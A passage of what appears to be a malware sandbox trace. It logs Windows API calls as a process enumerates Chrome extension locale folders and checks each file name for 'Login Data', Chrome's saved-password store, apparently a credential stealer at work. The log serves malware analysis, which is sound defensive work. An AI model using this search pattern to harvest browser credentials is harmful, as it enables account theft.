1 [0079.348] LocalFree (hMem=0x6525c0) returned 0x0 [0079.348] LocalFree (hMem=0x6524b8) returned 0x0 [0079.348] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.348] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.348] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.349] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6524b8 [0079.349] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.349] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR" [0079.349] LocalFree (hMem=0x6523b0) returned 0x0 [0079.349] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x6525c8 [0079.349] lstrcpyA (in: lpString1=0x6525c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR" [0079.349] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*" [0079.349] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.349] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.349] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.349] LocalFree (hMem=0x6525c8) returned 0x0 [0079.349] LocalFree (hMem=0x6524b8) returned 0x0 [0079.349] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.349] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.349] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.349] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6524b8 [0079.349] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.349] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT" [0079.349] LocalFree (hMem=0x6523b0) returned 0x0 [0079.349] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x6525c8 [0079.349] lstrcpyA (in: lpString1=0x6525c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT" [0079.349] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.350] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.350] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.350] LocalFree (hMem=0x6525c8) returned 0x0 [0079.350] LocalFree (hMem=0x6524b8) returned 0x0 [0079.350] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.350] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.350] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.350] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.350] LocalFree (hMem=0x6523b0) returned 0x0 [0079.350] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.350] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro" [0079.350] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.350] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.350] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.350] LocalFree (hMem=0x6525c0) returned 0x0 [0079.350] LocalFree (hMem=0x6524b8) returned 0x0 [0079.350] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.351] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.351] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.351] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.351] LocalFree (hMem=0x6523b0) returned 0x0 [0079.351] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.351] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru" [0079.351] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.351] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.351] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.351] LocalFree (hMem=0x6525c0) returned 0x0 [0079.351] LocalFree (hMem=0x6524b8) returned 0x0 [0079.351] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.351] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.352] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.352] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.352] LocalFree (hMem=0x6523b0) returned 0x0 [0079.352] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.352] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk" [0079.352] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.352] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.352] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.352] LocalFree (hMem=0x6525c0) returned 0x0 [0079.352] LocalFree (hMem=0x6524b8) returned 0x0 [0079.352] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.352] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.352] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.352] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.352] LocalFree (hMem=0x6523b0) returned 0x0 [0079.352] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.352] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl" [0079.352] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.352] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.353] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.353] LocalFree (hMem=0x6525c0) returned 0x0 [0079.353] LocalFree (hMem=0x6524b8) returned 0x0 [0079.353] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.353] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.353] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.353] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.353] LocalFree (hMem=0x6523b0) returned 0x0 [0079.353] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.353] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr" [0079.353] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.353] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.353] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.353] LocalFree (hMem=0x6525c0) returned 0x0 [0079.353] LocalFree (hMem=0x6524b8) returned 0x0 [0079.353] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.353] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.354] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.354] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.354] LocalFree (hMem=0x6523b0) returned 0x0 [0079.354] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.354] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv" [0079.354] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.354] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.354] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.354] LocalFree (hMem=0x6525c0) returned 0x0 [0079.354] LocalFree (hMem=0x6524b8) returned 0x0 [0079.354] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.354] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.354] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.354] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.354] LocalFree (hMem=0x6523b0) returned 0x0 [0079.354] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.354] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th" [0079.354] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.355] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.355] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.355] LocalFree (hMem=0x6525c0) returned 0x0 [0079.355] LocalFree (hMem=0x6524b8) returned 0x0 [0079.355] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.355] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.355] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.355] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.355] LocalFree (hMem=0x6523b0) returned 0x0 [0079.355] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.355] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr") 